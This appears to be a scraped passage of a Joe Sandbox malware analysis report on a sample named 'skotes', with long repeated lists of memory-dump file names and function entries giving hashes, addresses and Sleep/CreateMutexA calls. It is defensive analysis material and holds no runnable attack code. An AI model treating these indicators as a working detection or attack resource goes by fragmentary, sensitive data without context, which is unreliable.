Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2o
API String ID: 1464230837-2760472518
Opcode ID: f33103b67b0f1c4f478184364a07534836da677216132a3af48a3192db9e8b33
Instruction ID: cff3433e2f7135f2c5f90b07b3366758c0c698269bec04871afa0cf4d8656bfb
Opcode Fuzzy Hash: f33103b67b0f1c4f478184364a07534836da677216132a3af48a3192db9e8b33
Instruction Fuzzy Hash: 0C312931B001449BEF08ABFCDC89B6DB6E7EBC2314F20421CE0149BBD5DB7599808696

Function 0069A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A963
CreateMutexA.KERNELBASE(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2o
API String ID: 1464230837-2760472518
Opcode ID: 5442b5cc8a6086cc8181596e46836717841f56c6cc8c99a897b76bdf3c36b942
Instruction ID: 3e98949dfee2a32c63a852bfec379f111516314fafefb32faa3a1945662864cb
Opcode Fuzzy Hash: 5442b5cc8a6086cc8181596e46836717841f56c6cc8c99a897b76bdf3c36b942
Instruction Fuzzy Hash: 6C312731B001449BFF08ABF8CC89B6CBBABEBC5314F244618E414DBBD5CB7599818796

Function 0069A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A963
CreateMutexA.KERNELBASE(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2o
API String ID: 1464230837-2760472518
Opcode ID: 9478ab91340f8ac921a18eccce36119bf4236cc46acfa019afe6e5b57190a1e2
Instruction ID: 9973423d4629349d2ddf4216c7bf5b445f13f20284a7ea39910dd4affce6049f
Opcode Fuzzy Hash: 9478ab91340f8ac921a18eccce36119bf4236cc46acfa019afe6e5b57190a1e2
Instruction Fuzzy Hash: B73137316001449BEF089BFCCC89B6DBBFBEBC1314F244218E1149BBD1CB759A818696

Function 00699ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A963
CreateMutexA.KERNELBASE(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2o
API String ID: 1464230837-2760472518
Opcode ID: 852a736faf2fddcc6e60ff563bf6e6ac5d125fca9e6870d6283ae30699675600
Instruction ID: 0ca6a817d83a9c01cf3a58298fec4f697ad5f191aa44f21b9471249d533932e5
Opcode Fuzzy Hash: 852a736faf2fddcc6e60ff563bf6e6ac5d125fca9e6870d6283ae30699675600
Instruction Fuzzy Hash: F82148317042449BFF18ABACDC89B6DB7ABEBC1310F20421CE5048BBD5DB755A418A52

Function 0069A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A963
CreateMutexA.KERNELBASE(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2o
API String ID: 1464230837-2760472518
Opcode ID: 29d242fa86fdce71a2b8edc6cf87c53de16c7a5949cb08c6f2464c8fc8ab2849
Instruction ID: 3c083801331175e452012d85a3425bb6c238d2417b920f44e3291ecf5ea70b87
Opcode Fuzzy Hash: 29d242fa86fdce71a2b8edc6cf87c53de16c7a5949cb08c6f2464c8fc8ab2849
Instruction Fuzzy Hash: 122128317552019AFF2877E88D8AB7DB69B9FC1304F24081AE50897BD1CE76598182D7

Function 0069A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A963
CreateMutexA.KERNELBASE(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
